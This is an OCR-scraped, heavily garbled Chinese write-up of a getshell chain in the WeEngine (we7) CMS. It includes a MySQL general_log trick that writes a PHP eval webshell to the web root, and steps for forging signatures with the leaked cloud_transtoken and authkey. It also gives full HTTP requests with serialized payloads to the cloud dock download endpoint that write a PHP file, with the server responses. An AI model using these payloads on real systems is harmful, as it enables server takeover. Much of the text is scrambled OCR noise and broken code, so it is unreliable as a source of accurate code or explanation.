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backup

v 1574 i ARrM20
volume-Z! 1IZwb-1.sql
volume-Z, " R0Zwb-2.sql

40Zwb-3.sql
volume-Z P40Zwb-4.sql
volume-ZMedP40Zwb-5.sql

volume-Z

tpl

update
application.buildDp28
application.builde0x0
application.buildh4j6

No data sources are configured to run this SQL and

SQL dialect is not configured.

T arTg e
(10) unsigned
tinyint(3)
(50)
tinyint(4)
(
tinyint(1)
( )
‘username’ (‘username’)
) ENGINE=InnoDB AUTO_INCREMENT=

ims_users|

IF ims_users_bind
“ims_users_bind® (

AE T RFA. INEEINEREMsalt, HIEE—TNEZRIIENEE.

FIXBEEEER pacsword , {fEforget.ctrl.phpsIKE| 7T —4b,

Jrovide advanced code assistance.

CHARSET=utf8




E‘I'% api.php E‘I'& forget.ctrl.php

switch ($register_mode) {
case .

¢member_table—->searchWithMobile($username);

break;

case ]

$member_table->searchWithEmail($username);

break;
default:
$member_table->searchWithMobileOrEmail($username);
break;
Y
$member_table->searchWithUniacid($ WI 1);

$member_info = $member_table—>get();
if (empty($member_info)) {

message ( , referer(), );
Y
if(!code_verify(s W[ 1, $username, $code)) {
message ( , referer(), );
Y
51 $password = safe_gpc_string($_GPCI 1);
$repassword = safe_gpc_string($_GPC[ 1);
if ($repassword != $password) {
message ( , referer(), );
Y
| $password = md5( $password . $member_infol 1 . $_WI 110 110 1);
o (smember_1InTot T arrayt =S $passworayr,;
table( )—>where(array( => $username))->delete();
message ( , referer(), );

e —



}
template(

’Eﬁg}]ﬂ%}ﬁiﬁ% $password = md5 ($password . Smember info['salt']l . $ W['config']['setting']['authkey']); o %‘E*E}E JR 2 S+salt+authkey Egﬁgﬁﬁfi—}ﬁﬁ;‘, Qj\;}ﬁﬁ

{Fmdsinzz,

authkeyE data/config.php XZ#FEF'O
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api.php forget.ctrl.php E‘fmconfig.php

[ 10 10111 ]
[ 1l 10111 =
[ 10 10
[ 1l 1 =
[ 1l ] =
[ 10 1 =
[ 10 1 =
[ 10 ] =
[ 10 1 =
[ 10 ]

o [ I I =

| [ 10 1 =
[ 10 ] =
[ 10 1=
[ 1l 10
[ 1l 10 ]
[ 10 1=
[ 1l 10
[ 1l 10 ]
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md5($pass.$salt);Joomla
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2. KMEGIRE shellidFz

IRIBIERAM, ZcmsEaIXREshelllI/5EEAL, TEXEESHITqUXE, ERXBELM T, MEREARE—T.
E—HEik:
iR E TR MR E-B R MR E SRR, FERII—NEE, BRI cooorp .

SREHATsqiEa)

UPDATE ims core settings SET value = replace(value, 'pppppp', 'php ')
B, ZEMAULE - oone » T, (BEBRE, ERTapache ™, MEMAERE, BRENMERZDZNREEZ, —RZRFE LIENMNERBRN=COS
F, Z“RserverZTengine,
S_HrTix:
S _MITEBREMsqiTER, FIRAEXXESshell,

show variables like '$general%'; #BEME

set global general log = on; #ﬁfa‘general log}rﬁi\:

set global general log file = '/var/www/html/1l.php'; #E HEH S Nshel 1k
select '<?php eval($ POST[cmd]);?>' #%5 Ashell

EREBITIEEIE (slow_query_log) A ESshell, BEERREFHLREM, FiTsqlIRHEIRES,
AE—LEEMNGE, XBUXBELWEY, MABIET,
ox03 {XIg &t

REURE, BRAETE. BRAZEINGEAER, RFEBRBIE, BERESEHINFALIN. BHZri— I, NEERFIZrNETHIRE, BEaXIES
. ERIFERRRAE—NEREEMNEE—ORTIMEL.



& POST /wagc/we/web/index.php?c=cloud&a=dock&do=download HTTP/1.1
Host: 127.0.0.1:81

HEeiRA B2

2 ® ERERARR User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWG64; ry:63.0) Gecko/20100101
SSRF 7 Firefox/63.0
Fsm 9& Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: hitp://127.0.0.1:81/wac/we/web/index.php?c=cloud&a=upgrade&
X-Requested-With: XMLHttpReguest

Connection: close

Cookie:
35ff___session=905220HEpZX29fhzGZoYpYx % 2F8j8RQItwNzX9nODfiIEKHZp3idYFeOr
PaimNxONpRENNOEO087DAsCb2aofLym2DctPImw8iMHT OZ8yeYg2QQugdal3qjlj4eC
7sJpmLXi0aEg50%2BPdIIjK7|87 % 2BhKIxJ%2Bbhd WQPWu2WECbEKJfw;
35ff__notice=1543563304

X-Forwarded-For: 127.0.0.1

Content-Length: 102

a:3:{s:4:"file";s:4:"MTEX";s:4:"path";s:5:"1.txt";s:4:"sign";s:32:"80001d7e864cbc577459
3a37819be055";}

ARSI
$_W 'setting']['site']['token'] =

authcode(cache_load(cache_system_key('cloud_transtoken')), 'DECODE');

$string = (md5($file) . $ret['path'] . $_WI['setting'I['site']['token']);

RINE, RIFEHFEEXNRGEHT, EEREEMHE.

1.9t

?]—J:FSZ#F web/source/cloud/dock.ctrl.php , ?:%EIJ#LEE’SJ download H;Z-Eo



& dock.ctrl.php

E‘I'% dock.ctrl.php

file_put_contents(IA_ROOT .
exit($secret);

. $cache_random, iserializer($ret));

Add Configuration...

}
}
if ( == $do) {
$data = base64_decode($post);
if (base64_encode($data) !== $post) {
$data = $post;
Y
$ret = iunserializer(s$data);
89 $9z = function exists( function_name: 'gzcom ) & function exists( jzuncompress') ;
$file = base64_decode($ret[ 1);
if ($g92) {
$file = gzuncompress($file);
}
$_WI[ 10 110 ] = authcode(cache_load(cache_system_key( )), I
$string = (md5($file) . $retl 1. $WI 1l 10 1);
if (lempty($_WI 10 10 1) && md5($string) === $retl 1) {
if (@ === strpos($ret| 1, ) || @ === strpos($ret[ 1, )) {
$patch_path = sprintf( ) TA_ROOT, date( ));
} else {
$patch_path = IA_ROOT;
}
$path = $patch_path . $retl I
load()—>func( I
@nkdirs(dirname($path));
file_put_contents($path, $file);
$sign = md5( md5_file($path) . $retl 1 . $ W[ 10 110 1);
if ($retl 1 === $sign) {

exit( ):




(CRSLLE B, B — X ERYARIE:

UIEEEREDAEBaseo AT, BB co- - BUEIEREMNE. AEH oo WHTRFINGRE oo , BRI 5ot (1 r0er) FBase iRENRE v 1o . 477
E oconprece Bl orunconproce BPAREES, BATIR counconpross REDS oo HHTRERIE.

4%&&59 Sfile EﬁfmdS}JD%}E, '—5 Sret['path'] L\)\&&HQE]’\J S W['setting'] ['site']['token'] ﬁ?ﬁﬁ}ﬁ%?ﬂ Sstring , %;ﬁ;@ $ W['setting']['site']['token'] E”E
SHE 000 mASHIBRIVERS cooo (oo —B0, ATTLHT TEGRIE. FEREXLHIBAT, TRIE oo (o MHTHET, AESNNER—H.

J\XE%%EEI‘J_){—\'—'\?}EZEE $ W['setting']['site']['token'] J‘Z/MEEI’\JS%HL J‘Zﬂ\%ﬂ}fﬁauthcode@éﬁﬂj cache load(cache system key('cloud transtoken')) E?ﬁ'ﬁ@&ﬂy

i

authcode @éﬁ'fﬁ:f framework/function/global. func.php jZ'ftFEF'o



dock.ctrl.php global.func.php

878 buthcode(

= md5 ( =
md5(substr(

md5 (substr(
= ? (

= . md5(
= strlen(

= strlen(

B EECARTLAES, BEER aucncode NNEE

ﬁBZQD%¢§1I%EK{¢, ?)E?%E‘?E%DJE cache sys

cloud.mod.php

= ==
Lo

i)

[
))
))

10

? substr(

? base64_decode(substr(

BEHBE scLoBaLs[!

1)

W']['config']["

tem key('cloud transtoken') E/{JW%{:TO

) {

setting'] [

))

1)

)

: sprintf(

: substr(md5(microtime())

))

'authkey'] , EJ:ETEEUE, authkeyE data/config.php SZ#FEF'O




2.cloud_transtokenf{3%HY

Eﬂ}%%ﬁfm, J\X/I\{EZ?E?IESZ{EF framework/model/cloud.mod.php EF'E’\J cloud build transtoken PI(I’;SZEF'%&—'EJ‘)\EI‘J, J\EHJ\&)\ cache_write Hiﬁ: ﬁfm’%‘:‘ﬁ)\?ﬁ)ﬁfﬁ‘:ﬂ



Find in Path Match case Words Regex ? File mask:  *.php Y »

()~ cache_system_key('cloud_transtoken') 8 matches in 6 files

In Project Module Directory Scope
CELERGEIEIGcache_system_key('cloud_transtoken'))B web/.../checkupgrade.ctrl.php 25
CEVCICE R H(cache_system_key(‘cloud_transtoken'))E 29
$_WI[ 11 11 IOl LI B EL [icache_system_key('cloud_tran IR Rsl3 R P4
cache_write (RN L L R e aR), authcode ($ret['token'], 'ENCODE cloud.mod.php 941
Wl e [ (cache_system_key('cloud_transtoken')|f welcome.mod.php 74

cloud.mod.php framework/model
function cloud_build_transtoken() {

$pars [ 1 = -
$pars| 1 = H
$ret = cloud api( , $pars):
941 cache_write(cache_system_key( transtoken'), authcode($retl 1,
return $ret] I;

-

function cache_write($key, $data, $expire = @) {
if (empty($key) || !isset($data)) {
return false;



}
- ()
| ] =
(! ( )) {
- (
=> +
=
)
} {
}
[ ] = iserializer( )
pdo_insert( )

RSB ANRIEIEET, MEBTRS FTHEIMEEEUEENSEOXY, BIIEEEEEESEOXEPER cloud transtoren , BRFAIRBHE, TEREAZREBA
cloud_transtoken HYRHERUHAT 7 EURRFED.

?‘Z'ﬂ]fit@ﬁﬂ, E%BEUE]%T cloud build transtoken ,
KRN 7 ELARRY—S5F ARt :




E‘I{E api.php EAIJE profile.ctrl.php E‘I'I.I: cloud.mod.php

defined( ) ( )
load()->model( )
load()->func( )
= ( )
= in_array( ) ?
( == $do) {
(! ($_WI 10 10 1) && ! ($_WI 10 10 ) {
16 = cloud_slite_info()
(is_error( )) A{
message ( . [ 1, url( ) )
}
1 s
5-:']: api.php E‘I'I.I: profile.ctrl.php E:J',; cloud.mod.php
cloud_api( )
}
789 kloud_site_info() {
cloud_api( )
}
EAIJ:]: api.php 5-:']: profile.ctrl.php EAIJ:]: cloud.mod.php
143 cloud_api( = () = () = 60) {



= cache_loaa(
(! ( )) {

= lin_array(
_cloud_build_params(
1= ) {
[ 1 = cloud_build_transtoken()

array_merge(
| 10
|

2if1a)http://ip:port/web/index.php?c=cloud&a=profile ft, MSFIKTuLmIDFIBEEHEEENT BlbEEEEM)  WRERFEMR T, SR cloud site info() BREL
Xﬁﬂyﬁﬁ,ﬁ{'ﬁ%\o @é& cloud site info () I\E_”EHT cloud api('site/info') , iZEE’\Jmethodﬂg site/info , ﬁﬁl«‘)\ﬁiéﬁﬂ%ﬁﬁ cloud build transtoken A%ﬁ'ﬁi{%

cloud transtoken HRINEBNEIERE. ARBSEIERSEMIIINE, MATLBRIEIEFEPREFR cloud transtoken , HMAILIFIRZERISHTSshell,
3. HE NSRS
AT EEESENFEERAULR, NTAZNERGRAIER, XERIIEE— P INEER— TR (FEIHER) .

ERENEEHETF, AEAahttp://ip:port/web/index.php?c=cloud&a=profile , XKiAuhm /G TEIRESRD.



) ENGINE=MyISAM DEFAULT CHARSET=utf8,;

INSERT INTO ims_core_cache VALUES

(‘'we7:account_ticket','s:0:\"\";"),
(‘'we7:setting','a:6:{s:9:\"copyright\";a:3:{s:6:\"slides\";a:3:{i:0;s:58:\"https://img.alicdn.com/tps/TB1pfG4IFX
(‘we7:userbasefields','a:46:{s:7:\"uniacid\";s:17:\"[@ — A R Sid\";s:7:\"groupid\";s:8:\" 53 2Hid\";s:7:\"credit1\'
(‘we7:usersfields','a:47:{s:8:\"realname\";s:12:\" ESL##\";s:8:\"nickname\";s:6:\"EFR\";s:6:\"avatar\";s:6:\"
(‘'we7:module_receive_enable','a:0:{}),
(‘we7:random’,'a:2:{s:6:\"expire\";i:1585806535;s:4:\"data\";s:4:\"1Q65\";}"),

(‘we7:cloud_api:bal3ms Bl B o™ B5896df','a:2:{s:6:\"expire\";i:1585806491;s:4:\"data\";a:1:{s
(‘we7:system_frame:0','a:21:{s:7:\"welcome\";a:7:{s:5:\"title\";s:6:\"& 71\";s:4:\"icon\";s:10:\"wi wi-home\";s
(‘'we7:cloud_api:b1 6cedOale. o m miam !.!26bc7523f','a:2:{s:6:\"expire ";1:1585806491;s:4:\"data\";a:7:{s:7:
(‘we7:cloud_ad_store_notice','a:1:{s:6:\"expire\";i:1585809802;}"),

'‘we7:cloud transtoken'.'s:82:\"e117U20xSquZlZh/nd7VOIHEAGLLbPIgJwGNvvslhla5gvaPT9/FPJY7raFkec1|
(‘'we7:cloud_api:5314f5¢ =" il=s Faig'me59ecd684','a:2:{s:6:\"expire\";i:1585806775;s:4:\"data\";a:16:{

DROP TABLE IF EXISTS ims_core_cron;
CREATE TABLE ‘ims_core_cron’ (
‘id” int(10) unsigned NOT NULL AUTO_INCREMENT,
“cloudid’ int(10) unsigned NOT NULL,
‘module’ varchar(50) NOT NULL,
‘uniacid’ int(10) unsigned NOT NULL,
‘type’ tinyint(3) unsigned NOT NULL,




€(51*] ‘name varchar(50) NOT NULL,
£¥(0] “filename varchar(50) NOT NULL,
“lastruntime’ int(10) unsianed NOT NULL.

RINETLASRER c1oud transtoken , {BR2EHEREHEFRAIERIZFZRAT.



A E

&= ER SR Y kS (A Z1TSAL FERS

1585806482_yLzx3xLD 1585806482_yLzx3xLD
L— volume-hzEDp5Dsbu-1.sql

1585806437_X6zCFp4p
1585806437_X6zCFp4p

L— volume-M6d1LZU170-1.sql
1585806201_L1nycoAz

1585806201_L1nycoAz L — volume-s4xV9eOPXo-1.sql

MEMNRED X EEAVEIRERE S AR &NH, ABABRMEIRENE] cioud transtoxen WIERA, HNFESFRISEH UL,
%Eﬁﬂ]E—Tﬁﬂ}%ﬁ%{ﬁ%ﬁﬁ;‘gfmﬂ’ﬂ , j:]-a:l: web/source/system/database.ctrl.php o



api.php profile.ctrl.php cloud.mod.php database.ctrl.php
= in_array( ) ?
( == ) {
18 ( [ DA
( ( [ 110 110 1)) {
itoast( Mal ) )
}
= { [ 110 110 1}
= pdo_fetchall( )
( ( )) {
itoast( e ) )
}
= max/ intual( [ IS
(! ( [ 1) && !preg_match( [ ] [ 1)) {
= [ 1
} {
= random( )
}
(! ( [ 1) & !'preg_match( [ ] [ 1)) {
= [ ]
s {
= . . random( )
}

(trim( [ D) A

= mkdirs( )

RIHERNDEBIUBEX, MRATHAHERMANE, HEMERE. TZASBENF IR, DERRE volune-10fbhl w1581, sa1 BIFZEN, BEAAR
IBEX, BAMBEERST .,




13185 $Ehttp://ip:port/web/index.php?c=system&a=database&do=backup&status=1&start=2&folder_suffix=123&volume_suffix=456 I TEIEERD, NEIEERD]ERIHbIE

J9: http://ip:port/data/backup/123/volume-456-1.sql

GET /data/backup/l23/volume—456—l .sql HTTP/1.1

Host: !

Upgrade-Insecute- Requests 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/80.0.3987.149 Safari/537.36

Accept:

text/html application /xhtmI+xml application /xml;q=0.9,image/webp,image/apng,*/*:q=0.8 applicati
on/signed-exchange;v=b3;q=0.9

Referer: http:/, - eb/index.php?c=system&a=database&

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: order=id%20desc; memSize=2000; sites_path= " ' oot; serverType=apache;
pnull=2not_load; p6=nullnot_load; backup_path=/ senup; p7=2; uploadSize=1073741824;
memRealUsed=1080; mem-before=1080/2000%20%28MB%29; conterError=; fifteen=0.32;
tive=0.14; one=0.18; upNet=5.17; downNet=73.44; force=0; pro_end=-1; ltd_end=-1;
aceBEditor=%7B%22fontSize%22%3A%2213px%22%2C%22theme%22%3A%22monokai%22%7D;
depType=0; BatchSelected=null; p-1=1not_load; p5=1; load_search=undefined,;
BT_PANEL_6=34c4a1bb-0e16-4{{4-8077-c44a337{30£6.6mcZDXqR3VqlLh_FsihIUTN88Zg;
request_token=vT5pW9]Jbh A9tMbSkPLGaSymxUY71760N5DEug6Qmwelg7al;
we7install_registered_site=1; we7install_cdn_source_size=21098143; 495E___ iscontroller=1;
495E_jsMenuScroll=js-menu-site % 3A595;

495F__ lastvisit_1=%2Chttp%3A/, L, p%3Fc%3Dcloud%26a%3Dupgrade
Y%26iscontroller%3D1,

495F__ session=0cd8VX2%2FWa%2FNQORKZ]]Z74bMVUCKO080%2FnuGCCgfk9S4IJA2hujqigAttk
ulBGCL8Hdcd6VOBKaDPXfwAsLZAOqulGPno%2FkFirHVIWHMzUdKZIIM7 O7T4DuwWVI0wiWoe Q
VmMjsdvAskOgAwRRgA; rank=a; jseg___iscontroller=1;

jseg__ lastvisit_1=%2Chttp%3A/, hp%3Fc%3Dcloud%26a%3Dupgrade %
26iscontroller%3D1; jseg_jsMenuScroll=;

jseg___session=4c5b0DQJXHeKTps4csyYIBxmRrh XO1AFTUZ8%2FybU9DO8S411UH8g7Z3utAW %
2F2NolITx6P6LITAIN6OLRSNZx7sZib28 A43HdaMIsRgMoP7FSuacfiwW%2BueqlLA % 2BFGkhSQwla
kGnMBAAauL.VTHUiw; e2ec_jsMenuScroll=;
e2ec__session=348cPT11%2F0sjcGOrOgkNbpwFXh5Y2002av8p7n TNXHYKTBE%2F8t7¢qJ8§TQnM

=
v

Type a search term 0 matches

SRR AT ABERIIREN c1oud transtoken 1o 3 FRELEI LA TshellBIZREX T .

4 3REYWEBSHELL

\"zipcode\";s:6:\" Ml \";5:11:\ "nationality\";s:6:\"[F 5\ ";s: 14:\ "resideprovince\ ";s:12:\" - Ho -
\";s:14:\"graduateschool\";s:12:\ "Bl 2245\ "s:7:\ "company\ ";s:6:\ "2 5]\ ":8:9:\ "education \ ";s:6:\"
27\ "s:10:\ "occupation\";s:6:\ "EH [\ "s:8:\ "position \";s:6:\"FHA7\ s:7:\ "revenue\";s: 9\ "TEI A"
:5:15:\"affectivestatus\";s:12:\ "{F RO AT\ ";5:10:\"lookingfor\";s:13:\"

yjyt HAT\";s:9: \"bloodtype\" s:6:\ "IN "s:6:\ "heigh e\ ";s:6:\ " B =\ "s:6:\ "weight\"ys: 6:\ " HE\ ";5:6
A\ alipay\";s: 15:\" S A7 E W2\ "s:3:\ "msn\ "s:3:\ "MSN\ ";s:5:\ "email\";s: 1 2:\ " HL 1~ HEFE\ " 5:6:\ "taob
ao\";s:12:\"Fa] EEHE N "s:4:\ "site\";:6:\ "= T\ "s:3:\ "bio\ "is: 12:\"H Tk /- 28\ ";s:8:\ "interest\ ";s:12:\"
SR A "7\ "uniacid\ ;s 17\ "[G] 2B 5d\ s 7:\ "groupid\ ";s:8:\ "4 £Hid\ "is: 70\ "ereditl\ "s:6:\
"4 T Meredit2\ s 6:\ " AN s: 7:\ eredit3\ s 19:\ " B B4 S I3\ s 70\ Mereditd \ s:19:\"
}ﬁﬁﬂflﬂ/\*ﬁu;}\” s:7:\"credit5\";s: 19\ "F B FH AN ST\ " 607\ "eredit6\ ";s: 19\ "FRE FH I 6\ s
10:\"createtime\";s:12:\ "I AT A\ ";5:8:\"password\ ";s: 12:\" F F1EE T\ ";5:12:\ "pay_password\ ";s:12
"SRG,

('we7:module_receive_enable‘,'a:O: oM,

(‘we7:random','a:2: {s:6:\"expire\";i:1585810583;5:4: \"data\" s:4:\"Xsww\";}"),

(weT:cloud_apibal 3a74d6d22572ace06badc185896dF :2:{5:6:\ "expire\"i:1 385810823 ;5:4:\ "data\ "

S\ Meoliap\ e300 N7 d4 5043106421855 5bdeb04£3 "11'\

(we7 cloud transtokenl 5:82: \"1bOfLH\X/kaSZchGGmVGRelIadqrgX4baTF]K/ Q4Y cVIdJskdtEzdv/
Piz7Eyl71HzA+7MC750mfoQ5L+w\ "),

(We T cloud_apros 14T5cUeZ4590eb 7 T T43a5e59ecdn8d, @ Zi{si0ry, expire i 1 5858 1082554y "datay, ta
:16:{s:6:\"bbsuid\";i:297086;5:8:\ "username\,";s:3:\ "mis\ ";s:8:\ "services\ ";s:0:\"\ ";5:3:\ "key\";i:21633
4:9:3:\"url\";8:20:\ "l | \"i5:6:\ "family\";s:1:\"v\ ";5:8:\ "sitename\ ";s:29:\ "htep: / /11
o | 3G R\ "s: 20\ "ip\ s 130\ "1 \";s:5:\"token\";s:15:\"53£2d*F 0921 fb\ ";s:5:\ "]
abel\";a:0:{}s:9:\"blacklist\ ";i:0;5:10:\"dis_member\";N;s:7:\ "inviter\ ";i:0;5:19:\"service_inviter_uid\"
::0:5:8:\"quantity\";:9999;s:10:\ "createtime\ ";i:15844507006; } } "),
(‘weT:system_frame:0','a:21: {s:7:\"welcome\ ";a: 7: {s:5:\ "ritle\";s:6:\ "B 1\ ";s:4:\ "icon\";s: 100\ "wi
wi-home\";s:3:\"url\";s:48:\"./index.phprc=home&a=welcome&do=system&page=home\";s:7:\"sect
ion\";a:0: { }s:9:\"is_system\";i:1;5:10:\"is_display\";i:1;5:12:\"displayorder\ ";i:2; } s:14:\ "account_man
age\";a:8: {s:5:\"title\";s:12:\" A HE 504\ "icon\ ";s:21:\ "wi

wi-platform-manage\ ";s:9:\"dimension\";:2;s:3:\"url\";s:31:\". /index.php?c=account&a=manage&\
"s:7:\"section\";a: 1: {s:14:\ "account_manage\ ";a:2: {s:5:\ "ritle\";5:12:\ "S54\ "menu)\ i
{s:22:\"account_manage_display\";a:10: {s:9:\"is_system\";i:1;5:18:\ "permission_display\ ";N;s:10:\ "is
_display\";i:1;s:5:\ "title\ ";s:12:\ "S- E A1 2\ "5:3:\ "url\ ";5:31:\". /index. php?c=accoun t&a=manage&\

cloud_transtoken 1 matc

IRIEEERIDHT, cloud transtoken | authkey SEFIE 1, ¥ FRHEMiEpayload T,



printf( getExpolit(

getExpolit()
job.php

ey pllp[ PIIPJ'-T' Ve SV

payioad is:
a:3:{s:4:"file";s:24:"eJwrSSOUUTAOMDIBAA+UAqQ=";s:4:"path";s:9:"/test.txt";s:4:"sign";s:32:"9alfefb5d2fe38d4eb1460cf5f7a63d5"; }

SAEIEKhttp://ip:port/web/index.php?c=cloud&a=dock&do=download , data94EpkHIpayload,



POST /web/index.phpre=cloud&a=dock&do=download HTTP/1.1

Host: n

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTMIL, like
Gecko) Chrome/80.0.3987.149 Safari/537.36

Accept:

text/html,application /xhtml+xml application /xml;g=0.9,image/webp,image/apng,*/*;q=0.8,applicati
on/signed-exchange;v=03;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: order=id" 20desc; memSize=2000; sites n=/www/ root: &7 B " -apache;
pnull=2not_load .)()Znullnot_load; backus m ’ U adSize=1073741824;
memRealUsed="" 80; mem-before=1""=, 2000 %2" | - lerprror=; fifteen=0.32;
five=0.14; one=' 18; upt==51" LownNet=7 lwo_end=-1; Itd_end=-1;
acebditor=%7B" 22fontS17= AT e w22theme%22%3A%22monokai%22%7D;
depType=0; Batc *Selecs= == " p . = riui_toad; p5=1; load_search=undefined;

BT_PANEL_6="cd4a v vel6-4tf4-8077-c44a337t30£6.6mcZDXqR3VqlLh_FsihI[TUTN88Zg;
request_token=v, 5pW9JJbh A9 tMbSkPL.GaSymxUY71760N5DEuq6Qmwelq7al;

we7install_regist .ad_site=1; we7install_cdn_source_size=21098143; 495E___iscontroller=1;
495E_jsMenuScroll=js-menu-site % 3A595;

495F___lastvisit_1=2%2Chttp%= = y 1 S0 eJFc%3Dcloud%26a% 3Dupgrade
%26iscontroller%3D1:bse

Content-Type: application /x-www-form-urlencoded

Content-Length: 127

a:3: {s:4:"file";s5:24:"eJwrSSOUUTAOMDIBAA+uAqg=":s:4:"path";s:9:" /test. txt";s:4:"sign";5:32:"9a 1 fefb
5d2fe38d4eb1460cf5f7a63d5" }

e

HTTP/1.1 200 OK

Date: Thu, 02 Apr 2020 07:40:06 GMT

Server: Apache/2.4.39 (Unix) OpenSSL/1.1.1b
X-Powered-By: PHP/7.1.31

Content-Type: text/html; charset=utf-8
Content-Length: 7

Success
@ 0O ® @ tiliismialtestixt x +
& > C O T2 | By Tl b ltest txt

test 1024



POST /web/index.php?c=cloud&a=dock&do=download HTTP/1.1

Host: 1 ]

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/80.0.3987.149 Safari/537.36

Accept:
text/html,application/xhtml+xmlapplication/xml;q=0.9,image/webp,image /apng,*/*:q=0.8,applicati
on/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;¢q=0.9,en;q=0.8

Cookie: order=id%20desc; memSize=2000; sites_path=/v= "= » [l wroot; server Type=apache;

pnull=2not_load; p6=nullnot_load; backup nerh= 10w Fackup; p7=2+ = ISize=1073741824;
memRealUsed=1080; mem-before=1080/20uu% 2" 2oMB%29 " wa won—; fifra »

five=0.14; one=0.18; upNet=5.17; downNet=" = #4; fos v wm mpn—-1- all_pld= <
aceEditor=%7B%22fontSize %22%3A%? v m- " T E R miierwn D0 3A L ponokai%22% 7D,
depType=0; BatchSelected=null; p-1- _wad; p - mearch=» == _.1ned;
BT_PANEL_6=34c4albb-0el06-4{f4-8077-c4+ L10.6meZl T o VgLlh B T TTNGS Zg;
request_token=vT5pWIJTbh A9tMbSkPT 7 moaxUY 717603 roaq © B A,
we7install_registered_site=1; we7insta._cdn_sourcs . 0. I, F»ob_ iscontroller=1;
495E_jsMenuScroll=js-menu-site%3A595;

495E__ lastvisit_1=%2Chttp%3/ php%3Fc%3Dcloud%26a%3Dupgrade

%206iscontroller % 3D1;0se
Content-Type: application /x-www-form-urlencoded
Content-Length: 138

a:3: {s:4:"file";5:32:"eJyzsS/TKT A A4sy8tHwNTWt7OwA6xwXh";s:4: "path™;s:11:" /pppaaa.php';s:4:"sign
"5:32:"e7b0a46022ed47al8cd65070b69144£4": }

AILUHTIESSHRIB N, SSEREFH T, HBATIZRE T shell,

5. ZE(H

b g

HTTP/1.1 200 OK

Date: Thu, 02 Apr 2020 07:42:49 GMT

Server: Apache/2.4.39 (Unix) OpenSSIL./1.1.1b
X-Powered-By: PHP/7.1.31

Content-Type: text/html; charset=utf-8

Content-Length: 7

success

| NN | @ phpinfo()

+

¢« > C @ 7%= | 11m =& #/pppaaa.php v B P OE ' =

System Linux iZwz9ip2vahucgx62p2ne0Z 4.4.0-176—generic #206-
x86_64
Build Date Aug 30 2019 00:26:09

Configure Command

'./configure' '——prefix=/usr/local/phpstudy/soft/php/php-7
path=/usr/local/phpstudy/soft/php/php-7.1.31/etc' '-—enak
mysgli=mysqglnd' ‘—-with—pdo-mysgl=mysgInd' ‘——with—icon
‘——with-jpeg-dir' '——with—png—dir' '——with-zlib' ‘——with-lib>
—enable-becmath' '—-—enable—shmop' '——enable—sysvsem' '—
curl=/usr/local/curl' '-—enable-mbregex' '—enable-mbstrin
enable-gd-native-ttf' '-—with—openssl' '-—with-mhash' '—-¢

LERENERFEGED, ARIREL /data/contig.pne BHY avcnkey . WRIRBXHED, ERT—IMEEXMIRVAR, sEG5KEshellE. ZEBEALIRY.

ZRFE—IADERDEE, TLUREXMINEEIEEARE.



' @ ' "8 =b/index.php?c=system&a=scan&

© =z

RBER

HRERE RBER BERIRE

L mPERimpEE oD RERIA
@ =EERSR EXRER B addons

& web
EHIA v (B o e WD) txt
B RAXHRE [® index.php

& api
n MEBERAY, & framework

& payment
= BEE & app
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AEER (5 api.php
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v TRLLRY AT 2NV

YSERREL password
O AREEAEN
EaEs V FFECES password

BAES
© F

EE—NER, ARERHAEEEIEERS, BUNERBRA caca/. |, FIERE vassvora . REMAUEIERER, KA aucnkey BIE.



&« - C & ol gas M wphp?c=system&a=scan&do=view&file=9cf6K35NfJ7KMs SipafwunT 0D 15HB57D5j6SINSdaxOcR2fPhgLpY 0e6QVw

MG ©*

>
% @ ADER
o0 IhREE KEEXR BRIRE BEXMH
[Je
%
o) EEsRE BE X [data/./config.php]
1‘ 1 AR/ TEE HERBRE: 2 | $ERB: password
$config['setting'l['timezone'] = 'Asia/Shanghai';
@ EFRERMNR $config['setting'T'memory_limit'] = '256M';
$config['setting']['filemode'] = 0644;
ﬁ SETH v $config['setting'['authkey'] = 'dIMvywkV';
$configl'setting']['founder'] = '1';
. $config['setting']['development'] = 0;
M RAXHRR $config['setting''referrer'] = 0;
L MEsEfit // — CONFIG UPLOAD e //
$config['upload']'image']'extentions'] = array('gif', 'jpg’, 'jpegd’, 'Png’);
= wiEE $config['upload']['image']'limit'] = 5000;
- $config['upload']['attachdir'] = 'attachment’;
. $config['upload'['audio']'extentions'] = array('mp3');
ASER $config['upload''audio']'limit'] = 5000;
= O KX HBOM // — CONFIG MEMCACHE —- /!
[ 1] $config['setting''memcache']'server'] = ";
0O REEAEN $config['setting''memcache']'port'] = 11211;

$config['setting''memcache']['pconnect'] = 1;
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5—% scan.ctrl.php

= array_unique($d1)

[ ] = implode( )
¥
}
}
( == ) {
= authcode(trim( [ 1 ))
® = str replace( )
147 ( ( ) || !'parse_path( ) || preg_match( . )) {
itoast( referer() )
¥
= explode( )
= ( )
(is_array( ) & in_array( [0] )) {
itoast( referer() )
¥
(lis_file( )) {
itoast( referer() )
¥
= iunserializer(cache_read(cache_system_key( )))

= [ ]
( )

0x04 B &4&
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